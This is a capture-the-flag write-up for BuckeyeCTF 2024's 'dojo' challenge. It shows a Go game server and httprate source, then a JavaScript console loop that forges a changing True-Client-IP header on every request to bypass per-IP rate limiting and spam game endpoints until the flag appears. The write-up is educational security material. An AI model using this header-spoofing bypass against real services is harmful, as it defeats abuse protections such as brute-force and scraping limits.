← Back to home

BuckeyeCTF 2024 — dojo

The dojo stores many riches. Can you make it through the gauntlet?

dojo.challs.pwnoh.io

We're given a Go server looking like this:

Code (go):

1package server
2
3import (
4	"encoding/json"
5	"math/rand/v2"
6	"net/http"
7	"os"
8	"path/filepath"
9	"strings"
10	"time"
11
12	"github.com/go-chi/chi/v5"
13	"github.com/go-chi/chi/v5/middleware"
14	"github.com/go-chi/httprate"
15	"github.com/go-chi/jwtauth/v5"
16	"github.com/gorilla/websocket"
17)
18
19var TokenAuth *jwtauth.JWTAuth
20
21const MaxBossHealth = 1000
22
23type GameState struct {
24	id           int32
25	bossHealth   int32
26	playerHealth int32
27	plundered    int32
28	lastDodge    time.Time
29
30	conn *websocket.Conn
31}
32
33func (gs *GameState) SyncJSON() {
34	if gs.conn != nil {
35		gs.conn.WriteJSON(map[string]interface{}{
36			"action":       "sync",
37			"playerHealth": gs.playerHealth,
38			"bossHealth":   gs.bossHealth,
39		})
40	}
41
42	if gs.bossHealth <= 0 {
43		if gs.conn != nil {
44			gs.conn.WriteJSON(map[string]string{"action": "win"})
45
46			if gs.plundered > 800 {
47				flag, exists := os.LookupEnv("FLAG")
48				if !exists {
49					flag = "bctf{fake_flag}"
50				}
51				gs.conn.WriteJSON(map[string]string{"flag": flag})
52			}
53
54			gs.conn.Close()
55		}
56
57		delete(gameStates, gs.id)
58	}
59
60	if gs.playerHealth <= 0 {
61		if gs.conn != nil {
62			gs.conn.WriteJSON(map[string]string{"action": "lose", "reason": "died"})
63			gs.conn.Close()
64		}
65		delete(gameStates, gs.id)
66	}
67}
68
69func (gs *GameState) PlayerAttack() (success bool, amount int32) {
70	if gs.lastDodge.Add(1 * time.Second).After(time.Now()) {
71		return false, 0
72	}
73
74	amt := int32(rand.IntN(12) + 2)
75
76	if gs.conn != nil {
77		gs.conn.WriteJSON(map[string]interface{}{"action": "player_attack", "amount": amt})
78	}
79
80	gs.bossHealth -= amt
81	gs.SyncJSON()
82	return true, amt
83}
84
85func (gs *GameState) PlayerDodge() {
86	gs.lastDodge = time.Now()
87}
88
89func (gs *GameState) PlayerPlunder() (bool, int32) {
90	if gs.lastDodge.Add(1 * time.Second).After(time.Now()) {
91		return false, 0
92	}
93
94	amount := int32(rand.IntN(12) + 2)
95	gs.plundered += amount
96	return true, amount
97}
98
99func (gs *GameState) BossAttack(amount int32) {
100	if gs.lastDodge.Add(1 * time.Second).After(time.Now()) {
101		if gs.conn != nil {
102			gs.conn.WriteJSON(map[string]interface{}{"action": "dodged", "amount": amount})
103		}
104		return
105	}
106
107	gs.playerHealth -= amount
108
109	if gs.conn != nil {
110		gs.conn.WriteJSON(map[string]interface{}{"action": "boss_attack", "amount": amount})
111	}
112	gs.SyncJSON()
113}
114
115func (gs *GameState) BossSignalAttack() {
116	if gs.conn != nil {
117		gs.conn.WriteJSON(map[string]interface{}{"action": "signal"})
118	}
119}
120
121func (gs *GameState) BossHeal(amount int32) {
122	gs.bossHealth = min(gs.bossHealth+amount, MaxBossHealth)
123
124	if gs.conn != nil {
125		gs.conn.WriteJSON(map[string]interface{}{"action": "heal", "amount": amount})
126	}
127	gs.SyncJSON()
128}
129
130func (gs *GameState) TimeoutLose() {
131	if gs.conn != nil {
132		gs.conn.WriteJSON(map[string]string{"action": "lose", "reason": "timed out"})
133		gs.conn.Close()
134	}
135	delete(gameStates, gs.id)
136}
137
138var gameStates = make(map[int32]*GameState)
139
140var upgrader = websocket.Upgrader{
141	ReadBufferSize:  1024,
142	WriteBufferSize: 1024,
143	CheckOrigin:     func(r *http.Request) bool { return os.Getenv("BF_PRODUCTION") != "true" },
144}
145
146func (s *Server) RegisterRoutes() http.Handler {
147	r := chi.NewRouter()
148	r.Use(middleware.Recoverer)
149	r.Get("/", s.FrontendHandler)
150	r.Get("/*", s.FrontendHandler)
151
152	r.Group(func(r chi.Router) {
153		r.Use(middleware.Logger)
154		r.Use(middleware.Timeout(time.Second * 60))
155		r.Use(httprate.LimitByRealIP(2, time.Second))
156		r.Get("/api/new", s.NewGameHandler)
157
158		r.Group(func(r chi.Router) {
159			r.Use(jwtauth.Verifier(TokenAuth))
160			r.Use(jwtauth.Authenticator(TokenAuth))
161
162			r.Get("/api/attack", s.AttackHandler)
163			r.Get("/api/dodge", s.DodgeHandler)
164			r.Get("/api/plunder", s.PlunderHandler)
165			r.Get("/api/ws", s.WebsocketHandler)
166		})
167	})
168
169	return r
170}
171
172func (s *Server) FrontendHandler(w http.ResponseWriter, r *http.Request) {
173	ext := filepath.Ext(r.URL.Path)
174
175	// If there is no file extension, and it does not end with a slash,
176	// assume it's an HTML file and append .html
177	if ext == "" && !strings.HasSuffix(r.URL.Path, "/") {
178		r.URL.Path += ".html"
179	}
180
181	http.FileServer(http.Dir("frontend/build")).ServeHTTP(w, r)
182}
183
184func (s *Server) AttackHandler(w http.ResponseWriter, r *http.Request) {
185	_, claims, _ := jwtauth.FromContext(r.Context())
186	game_id := int32(claims["game_id"].(float64))
187
188	gameState := gameStates[game_id]
189	if gameState == nil {
190		w.WriteHeader(http.StatusNotFound)
191		json.NewEncoder(w).Encode(map[string]interface{}{"status": "error", "message": "Game not found"})
192		return
193	}
194
195	success, amount := gameState.PlayerAttack()
196	if !success {
197		w.WriteHeader(http.StatusInternalServerError)
198		json.NewEncoder(w).Encode(map[string]interface{}{"status": "error", "message": "You can't attack right now"})
199		return
200	}
201
202	json.NewEncoder(w).Encode(map[string]interface{}{"status": "success", "amount": amount})
203}
204
205func (s *Server) DodgeHandler(w http.ResponseWriter, r *http.Request) {
206	_, claims, _ := jwtauth.FromContext(r.Context())
207	game_id := int32(claims["game_id"].(float64))
208
209	gameState := gameStates[game_id]
210	if gameState == nil {
211		w.WriteHeader(http.StatusNotFound)
212		json.NewEncoder(w).Encode(map[string]interface{}{"status": "error", "message": "Game not found"})
213		return
214	}
215
216	gameState.PlayerDodge()
217
218	json.NewEncoder(w).Encode(map[string]interface{}{"status": "success"})
219}
220
221func (s *Server) PlunderHandler(w http.ResponseWriter, r *http.Request) {
222	_, claims, _ := jwtauth.FromContext(r.Context())
223	game_id := int32(claims["game_id"].(float64))
224
225	gameState := gameStates[game_id]
226	if gameState == nil {
227		w.WriteHeader(http.StatusNotFound)
228		json.NewEncoder(w).Encode(map[string]interface{}{"status": "error", "message": "Game not found"})
229		return
230	}
231
232	success, amount := gameState.PlayerPlunder()
233	if !success {
234		w.WriteHeader(http.StatusInternalServerError)
235		json.NewEncoder(w).Encode(map[string]interface{}{"status": "error", "message": "You can't plunder right now"})
236		return
237	}
238
239	json.NewEncoder(w).Encode(map[string]interface{}{
240		"status": "success",
241		"amount": amount,
242		"total":  gameState.plundered,
243	})
244}
245
246func (s *Server) NewGameHandler(w http.ResponseWriter, r *http.Request) {
247	gameId := rand.Int32()
248	_, tokenString, _ := TokenAuth.Encode(map[string]interface{}{"game_id": gameId})
249
250	gameStates[gameId] = &GameState{
251		id:           gameId,
252		bossHealth:   MaxBossHealth,
253		playerHealth: 100,
254	}
255
256	cookie := http.Cookie{
257		Name:     "jwt",
258		Value:    tokenString,
259		HttpOnly: false,
260	}
261
262	http.SetCookie(w, &cookie)
263
264	go gameRunner(gameId)
265
266	http.Redirect(w, r, "/play", http.StatusTemporaryRedirect)
267}
268
269func gameRunner(gameId int32) {
270	s2 := rand.NewPCG(uint64(gameId), 1024)
271	r2 := rand.New(s2)
272
273	go func() {
274		time.Sleep(60 * time.Second)
275
276		gameState := gameStates[gameId]
277		if gameState == nil {
278			return
279		}
280
281		gameState.TimeoutLose()
282	}()
283
284	time.Sleep(3 * 1000 * time.Millisecond)
285
286	for {
287		time.Sleep(1000 * time.Millisecond)
288		gameState := gameStates[gameId]
289		if gameState == nil {
290			return
291		}
292
293		v := r2.IntN(100)
294
295		if v < 20 {
296			if gameState.bossHealth < MaxBossHealth*0.8 {
297				healAmount := int32(r2.IntN(50) + 20)
298				gameState.BossHeal(healAmount)
299			} else {
300				damageAmount := int32(r2.IntN(30) + 5)
301				gameState.BossAttack(damageAmount)
302			}
303		} else if v < 35 {
304			gameState.BossSignalAttack()
305			time.Sleep(1000 * time.Millisecond)
306			damageAmount := int32(r2.IntN(50) + 10)
307			gameState.BossAttack(damageAmount)
308		} else if v < 50 {
309			damageAmount := int32(r2.IntN(30) + 5)
310			gameState.BossAttack(damageAmount)
311		} else if v < 65 {
312			gameState.BossSignalAttack()
313		}
314	}
315}
316
317func (s *Server) WebsocketHandler(w http.ResponseWriter, r *http.Request) {
318	_, claims, _ := jwtauth.FromContext(r.Context())
319	gameId := int32(claims["game_id"].(float64))
320
321	gameState := gameStates[gameId]
322	if gameState == nil {
323		w.WriteHeader(http.StatusNotFound)
324		json.NewEncoder(w).Encode(map[string]interface{}{"status": "error", "message": "Game not found"})
325		return
326	}
327
328	conn, err := upgrader.Upgrade(w, r, nil)
329	if err != nil {
330		return
331	}
332
333	gameState.conn = conn
334	gameState.SyncJSON()
335}

Our goal is to plunder 800 emeralds, all while defeating the boss and not getting killed in the process.

image

Looking at the underlying logic for attacking, dodging, and plundering,

Code (go):

1func (gs *GameState) PlayerAttack() (success bool, amount int32) {
2	if gs.lastDodge.Add(1 * time.Second).After(time.Now()) {
3		return false, 0
4	}
5
6	amt := int32(rand.IntN(12) + 2)
7
8	if gs.conn != nil {
9		gs.conn.WriteJSON(map[string]interface{}{"action": "player_attack", "amount": amt})
10	}
11
12	gs.bossHealth -= amt
13	gs.SyncJSON()
14	return true, amt
15}
16
17func (gs *GameState) PlayerDodge() {
18	gs.lastDodge = time.Now()
19}
20
21func (gs *GameState) PlayerPlunder() (bool, int32) {
22	if gs.lastDodge.Add(1 * time.Second).After(time.Now()) {
23		return false, 0
24	}
25
26	amount := int32(rand.IntN(12) + 2)
27	gs.plundered += amount
28	return true, amount
29}

it seems like attacking and plundering are only prevented after dodging, and don't block the spam of each other. Then, a preliminary idea can be to just spam plunder until we reach 800 emeralds, then spam attack until we kill the boss.

Unfortunately, referencing the route handler again,

Code (go):

1	r.Group(func(r chi.Router) {
2		r.Use(middleware.Logger)
3		r.Use(middleware.Timeout(time.Second * 60))
4		r.Use(httprate.LimitByRealIP(2, time.Second))
5		r.Get("/api/new", s.NewGameHandler)

it looks like our requests are ratelimited to 2 per second by httprate.LimitByRealIP; naively spamming requests will return 429s and we'll still get defeated by the boss.

However, going to the httprate source code,

Code (go):

1func LimitByRealIP(requestLimit int, windowLength time.Duration) func(next http.Handler) http.Handler {
2	return Limit(requestLimit, windowLength, WithKeyFuncs(KeyByRealIP))
3}
4
5func Key(key string) func(r *http.Request) (string, error) {
6	return func(r *http.Request) (string, error) {
7		return key, nil
8	}
9}
10
11func KeyByIP(r *http.Request) (string, error) {
12	ip, _, err := net.SplitHostPort(r.RemoteAddr)
13	if err != nil {
14		ip = r.RemoteAddr
15	}
16	return canonicalizeIP(ip), nil
17}
18
19func KeyByRealIP(r *http.Request) (string, error) {
20	var ip string
21
22	if tcip := r.Header.Get("True-Client-IP"); tcip != "" {
23		ip = tcip
24	} else if xrip := r.Header.Get("X-Real-IP"); xrip != "" {
25		ip = xrip
26	} else if xff := r.Header.Get("X-Forwarded-For"); xff != "" {
27		i := strings.Index(xff, ", ")
28		if i == -1 {
29			i = len(xff)
30		}
31		ip = xff[:i]
32	} else {
33		var err error
34		ip, _, err = net.SplitHostPort(r.RemoteAddr)
35		if err != nil {
36			ip = r.RemoteAddr
37		}
38	}
39
40	return canonicalizeIP(ip), nil
41}

it looks like the way they check the client's real IP is through reading the True-Client-IP header. If we forge this header, then, we should be able to bypass their rate limiting and get the flag.

Occasionally, forged fetches still fail for whatever reason. Still, assuming most fetches still go through, we can spam attacks and plunders with the following console script:

Code (js):

1let i = 0;
2while (true) {
3    try {
4        const { total } = await (await fetch('/api/plunder', {
5            headers: { 'True-Client-IP': `${i}.${i}.${i}.${i++}` }
6        })).json();
7        if (total > 800) break;
8    } catch {}
9}
10
11let health = 2000;
12while (health >= 0) {
13    try {
14        const { amount } = await (await fetch('/api/attack', {
15            headers: { 'True-Client-IP': `${i}.${i}.${i}.${i++}` }
16        })).json();
17        health -= amount;
18    } catch {}
19}

dojo.webm

Once we've won, all we need to do is check the websocket to get the flag:

image

Code:

1bctf{D3FAul7_rA73_l1m17_fUnc710N5_aR3_5caRy}